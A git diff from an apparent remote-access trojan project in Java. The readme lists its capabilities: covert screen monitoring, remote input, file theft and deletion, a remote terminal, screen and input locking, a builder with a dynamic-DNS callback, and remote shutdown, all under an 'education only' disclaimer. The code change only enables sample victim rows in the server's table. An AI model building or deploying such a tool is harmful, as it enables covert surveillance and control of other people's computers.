diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml
new file mode 100644
index 0000000..de577de
--- /dev/null
+++ b/.idea/inspectionProfiles/Project_Default.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/demo/main.png b/demo/main.png
index c813130..05fcef5 100644
Binary files a/demo/main.png and b/demo/main.png differ
diff --git a/readme.md b/readme.md
index 72cd8cf..bab48f6 100644
--- a/readme.md
+++ b/readme.md
@@ -1,13 +1,87 @@
-# Working Features
+# Java Trojan
+Fully Java powered trojan. Monitoring and communication software.
-## Desktop Monitor
+## Disclaimer
+This project is for education purposes **ONLY**. If you are looking for spyware software, this is not it. Any other non-education use is disapproved.
+
+## Features
+
+### General
+Server-side UI
+
+![server chat](demo/main.png)
+- Server-Client direct socket communication
+- Port choosing
+- JavaFX server-side UI, fast and nice-looking
+- Table info UI organization
+- slf4j logging
+
+### Desktop Monitor
+![desktop](demo/desktop.png)
- Monitor selection
- Optional extra compression
-- Mouse clicks and keys
-- Simple FPS counter
+- Sending mouse clicks and keyboard keys
+- FPS counter
-## Files Browsing
+### File Browsing
+![files](demo/files.png)
+- File extension icons
+- File size
- Drive selection
- Running files on client-side
- Uploading and downloading
-- Erasing files and folders
\ No newline at end of file
+- Erasing files and folders
+
+### Chat
+Server-side UI
+
+![server chat](demo/serverChat.png)
+Client-side UI
+
+![client chat](demo/clientChat.png)
+
+- JavaFX on server-side, native javax.swing on client-side
+- Client-side window closing prevention
+- Minimalistic and objective UI
+
+### Locking
+Client-side locked behavior
+
+![lock](demo/lock.png)
+- Window closing prevention
+- Screen obfuscation
+- Mouse locked on corner
+- Keyboard locked
+
+### Data Query
+![data](demo/data.png)
+- Local system data
+- Network info from [ip-api.com](https://ip-api.com/)
+
+### Terminal
+![terminal](demo/terminal.png)
+
+- Remote terminal access
+- Send commands, receive responses
+- platform dependency
+
+ ![terminal dependency](demo/plataformDependency.png)
+
+### Building
+Done dialog
+
+![done](demo/buildDone.png)
+- Address selection (using no-ip or other ddns provider)
+- Server classes removal from jar
+- Useless files (images, .fxml) removal from jar
+- Concurrent building in background
+- only works when running from jar
+
+ ![error](demo/buildError.png)
+
+### Turning off
+- Remotely shut down client's machine
+- A bit [platform dependent](https://stackoverflow.com/a/14297352/10421315)
+
+
+
diff --git a/src/main/java/greek/horse/server/ui/controllers/HorseController.java b/src/main/java/greek/horse/server/ui/controllers/HorseController.java
index 9b54d46..7efae06 100644
--- a/src/main/java/greek/horse/server/ui/controllers/HorseController.java
+++ b/src/main/java/greek/horse/server/ui/controllers/HorseController.java
@@ -1,6 +1,7 @@
package greek.horse.server.ui.controllers;
import greek.horse.models.NetInfo;
+import greek.horse.models.OS;
import greek.horse.server.troyStructure.NetInfoTable;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.TroyServer;
@@ -114,13 +115,13 @@ public class HorseController {
private void startTable() {
ObservableList plebeObservableList = this.troyServer.getPlebes();
-// for (int i = 0; i < 10; i++) {
-// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
-// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
-// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
-// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
-// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
-// }
+ for (int i = 0; i < 10; i++) {
+ tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
+ tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
+ tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
+ tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
+ tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
+ }
plebeObservableList.addListener((ListChangeListener) lis -> {
while (lis.next()) {
diff --git a/target/classes/greek/horse/server/ui/controllers/HorseController.class b/target/classes/greek/horse/server/ui/controllers/HorseController.class
index 4dbf071..7087906 100644
Binary files a/target/classes/greek/horse/server/ui/controllers/HorseController.class and b/target/classes/greek/horse/server/ui/controllers/HorseController.class differ